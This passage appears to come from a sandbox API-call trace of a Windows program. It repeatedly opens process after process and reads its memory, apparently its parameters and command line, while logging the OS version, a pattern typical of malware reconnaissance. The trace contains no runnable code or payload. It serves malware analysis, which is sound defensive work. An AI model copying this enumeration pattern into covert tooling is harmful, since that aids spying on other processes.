dwProcessId=0x16e0) returned 0xa9c [0344.563] GetLastError () returned 0x0 [0344.563] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.563] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x309018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.563] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.563] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x582690, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.563] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x582258, lpBuffer=0x5ec5a0, nSize=0x7c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.565] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.565] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.565] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x309020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.565] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x581c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.566] malloc (_Size=0x84) returned 0xe87c10 [0344.566] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5822d4, lpBuffer=0xe87c10, nSize=0x82, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe87c10*, lpNumberOfBytesRead=0x0) returned 1 [0344.567] free (_Block=0xe87c10) [0344.567] CloseHandle (hObject=0xa9c) returned 1 [0344.567] _ui64tow_s (in: _Value=0x16fc, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5884") returned 0x0 [0344.568] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5884") returned 4 [0344.568] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.568] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.568] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x16fc) returned 0xa9c [0344.569] GetLastError () returned 0x0 [0344.569] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.569] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x243018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.569] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.569] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4d2650, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.569] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4d2258, lpBuffer=0x5ec5a0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.569] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.570] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.570] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x243020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.570] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4d1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.570] malloc (_Size=0x70) returned 0xea9820 [0344.570] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4d22c0, lpBuffer=0xea9820, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9820*, lpNumberOfBytesRead=0x0) returned 1 [0344.571] free (_Block=0xea9820) [0344.571] CloseHandle (hObject=0xa9c) returned 1 [0344.571] _ui64tow_s (in: _Value=0x1718, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5912") returned 0x0 [0344.571] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5912") returned 4 [0344.572] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.572] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.572] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1718) returned 0xa9c [0344.572] GetLastError () returned 0x0 [0344.573] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.573] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x269018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.573] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.573] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x522640, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.573] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x522258, lpBuffer=0x5ec5a0, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.573] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.574] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.574] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x269020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.574] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x521c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.574] malloc (_Size=0x68) returned 0xeb6150 [0344.574] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5222b8, lpBuffer=0xeb6150, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6150*, lpNumberOfBytesRead=0x0) returned 1 [0344.575] free (_Block=0xeb6150) [0344.575] CloseHandle (hObject=0xa9c) returned 1 [0344.575] _ui64tow_s (in: _Value=0xc68, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3176") returned 0x0 [0344.575] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3176") returned 4 [0344.575] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.575] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.576] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc68) returned 0xa9c [0344.576] GetLastError () returned 0x0 [0344.576] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.576] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x297018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.576] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.577] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x552510, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.577] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x552198, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.577] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.577] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.577] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x297020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.577] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x551b50, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.578] malloc (_Size=0x5a) returned 0xeb6380 [0344.578] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5521d8, lpBuffer=0xeb6380, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6380*, lpNumberOfBytesRead=0x0) returned 1 [0344.578] free (_Block=0xeb6380) [0344.578] CloseHandle (hObject=0xa9c) returned 1 [0344.592] _ui64tow_s (in: _Value=0x1260, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4704") returned 0x0 [0344.592] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4704") returned 4 [0344.593] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.593] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.593] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1260) returned 0xa9c [0344.594] GetLastError () returned 0x0 [0344.594] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.594] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c7018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.594] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.594] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403df0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.594] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403a38, lpBuffer=0x5ec5a0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.594] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.595] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.595] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c7020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.595] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4033f0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.595] malloc (_Size=0x64) returned 0xeb6770 [0344.596] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403a84, lpBuffer=0xeb6770, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6770*, lpNumberOfBytesRead=0x0) returned 1 [0344.596] free (_Block=0xeb6770) [0344.596] CloseHandle (hObject=0xa9c) returned 1 [0344.596] _ui64tow_s (in: _Value=0xc6c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3180") returned 0x0 [0344.597] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3180") returned 4 [0344.597] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.597] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.598] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc6c) returned 0xa9c [0344.598] GetLastError () returned 0x0 [0344.598] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.598] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3e0018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.598] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.598] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4a2470, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.598] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4a2118, lpBuffer=0x5ec5a0, nSize=0x44, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.598] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.598] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.599] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3e0020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.599] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4a1ad0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.599] malloc (_Size=0x2c) returned 0xe71f30 [0344.599] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4a215c, lpBuffer=0xe71f30, nSize=0x2a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe71f30*, lpNumberOfBytesRead=0x0) returned 1 [0344.599] free (_Block=0xe71f30) [0344.600] CloseHandle (hObject=0xa9c) returned 1 [0344.600] _ui64tow_s (in: _Value=0x16b8, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5816") returned 0x0 [0344.600] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5816") returned 4 [0344.600] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.600] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.601] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x16b8) returned 0xa9c [0344.601] GetLastError () returned 0x0 [0344.601] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.601] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x285018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.601] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.601] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4525a0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.602] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x452230, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.602] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.602] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.602] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x285020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.602] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x451be0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.603] malloc (_Size=0x52) returned 0xeaa530 [0344.603] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x452270, lpBuffer=0xeaa530, nSize=0x50, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeaa530*, lpNumberOfBytesRead=0x0) returned 1 [0344.603] free (_Block=0xeaa530) [0344.603] CloseHandle (hObject=0xa9c) returned 1 [0344.603] _ui64tow_s (in: _Value=0x134c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4940") returned 0x0 [0344.604] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4940") returned 4 [0344.604] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.604] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.604] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x134c) returned 0x0 [0344.605] CloseHandle (hObject=0x0) returned 0 [0344.605] _ui64tow_s (in: _Value=0xee8, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3816") returned 0x0 [0344.605] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3816") returned 4 [0344.605] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.605] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.606] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xee8) returned 0xa9c [0344.606] GetLastError () returned 0x0 [0344.606] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.606] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x32d018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.606] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.607] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5724e0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.607] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x572118, lpBuffer=0x5ec5a0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.607] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.607] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.607] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x32d020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.607] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x571ad0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.608] malloc (_Size=0x76) returned 0xea9420 [0344.608] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x572164, lpBuffer=0xea9420, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9420*, lpNumberOfBytesRead=0x0) returned 1 [0344.608] free (_Block=0xea9420) [0344.608] CloseHandle (hObject=0xa9c) returned 1 [0344.608] _ui64tow_s (in: 